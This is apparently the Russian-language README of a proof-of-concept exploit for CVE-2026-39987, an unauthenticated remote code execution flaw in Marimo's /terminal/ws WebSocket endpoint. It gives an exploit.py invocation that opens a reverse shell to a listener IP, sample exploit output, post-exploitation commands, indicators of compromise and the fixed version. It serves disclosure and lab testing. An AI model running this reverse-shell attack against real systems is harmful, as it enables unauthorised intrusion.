
Proof-of-concept эксплойт для RCE без аутентификации в Marimo. Использует неаутентифицированный WebSocket-эндпоинт /terminal/ws для запуска PTY и установки reverse shell.
CVE-2026-39987 — это критическая уязвимость удалённого выполнения кода (RCE) до аутентификации, затрагивающая Marimo, среду реактивных Python-ноутбуков.
Уязвимость присутствует в терминальной WebSocket-конечной точке Marimo:
/terminal/ws
Конечная точка не выполняла надлежащую проверку аутентификации перед созданием терминальной сессии. В результате неаутентифицированный удалённый злоумышленник, способный подключиться к уязвимому экземпляру Marimo, может установить WebSocket-соединение и получить интерактивную PTY-оболочку.
Действительные учётные данные не требуются.
| Свойство | Значение |
|---|---|
| CVE | CVE-2026-39987 |
| Продукт | Marimo |
| Уязвимость | Удалённое выполнение кода до аутентификации |
| Вектор атаки | Сетевой |
| Аутентификация | Не требуется |
| Взаимодействие с пользователем | Не требуется |
| CWE | CWE-306 — Отсутствие аутентификации для критической функции |
| Серьёзность | Критическая |
| Исправленная версия | 0.23.0 |
Причиной уязвимости стала непоследовательная проверка аутентификации между WebSocket-конечными точками Marimo.
В то время как прочие WebSocket-функции выполняют проверку аутентификации, уязвимая конечная точка /terminal/ws могла принимать соединение без предварительной проверки вызывающей стороны.
Уязвимая терминальная конечная точка создаёт интерактивный PTY после принятия WebSocket-соединения.
Концептуально поток уязвимого запроса выглядит следующим образом:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
Ключевой границей безопасности является отсутствующая проверка аутентификации.
Конечная точка, предоставляющая произвольное выполнение команд, не должна позволять неаутентифицированному клиенту добраться до логики создания PTY.
Успешная эксплуатация может обеспечить произвольное выполнение команд с привилегиями процесса Marimo.
В зависимости от конфигурации развёртывания это может позволить злоумышленнику:
Воздействие особенно существенно для сред ноутбуков, поскольку они, как правило, имеют доступ к наборам данных, API, учётным данным, облачным ресурсам и инфраструктуре разработки.
Предупреждение: Запускайте PoC только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Данный репозиторий содержит PoC для демонстрации уязвимости в контролируемой среде.
Пример ниже демонстрирует эксплуатацию на локальном/лабораторном экземпляре.
Например:
http://127.0.0.1:8081
Перед запуском PoC уязвимый экземпляр Marimo должен быть запущен.
Пример:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
Где:
-u Target Marimo instance
--host Listener IP
--port Listener port
PoC устанавливает уязвимое терминальное соединение и ожидает результирующее подключение оболочки.
Пример вывода:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
После успешной эксплуатации злоумышленник получает оболочку, работающую с привилегиями процесса Marimo.
whoami
Пример:
marimo
id
Пример:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
Это демонстрирует, что произвольные команды выполняются удалённо от имени учётной записи marimo.
PoC также может продемонстрировать доступ к файловой системе, доступной скомпрометированному процессу.
ls -la
Пример:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
Переходим в корень файловой системы:
cd /
ls
Пример:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
Это подтверждает, что удалённая оболочка имеет обычный доступ к файловой системе с учётом привилегий и ограничений контейнера процесса Marimo.
Полную цепочку эксплуатации уязвимости можно обобщить следующим образом:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
Критический сбой безопасности происходит на шаге 3.
Потенциальные индикаторы эксплуатации включают неожиданные WebSocket-соединения к:
/terminal/ws
а также необычную активность процессов, исходящую от сервера Marimo.
Защитникам следует проверять:
Обновите Marimo до исправленной версии:
0.23.0 or later
Кроме того:
/terminal/ws.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
Этот проект предоставляется для исследований в области безопасности, проверки уязвимостей и образовательных целей. Не используйте PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.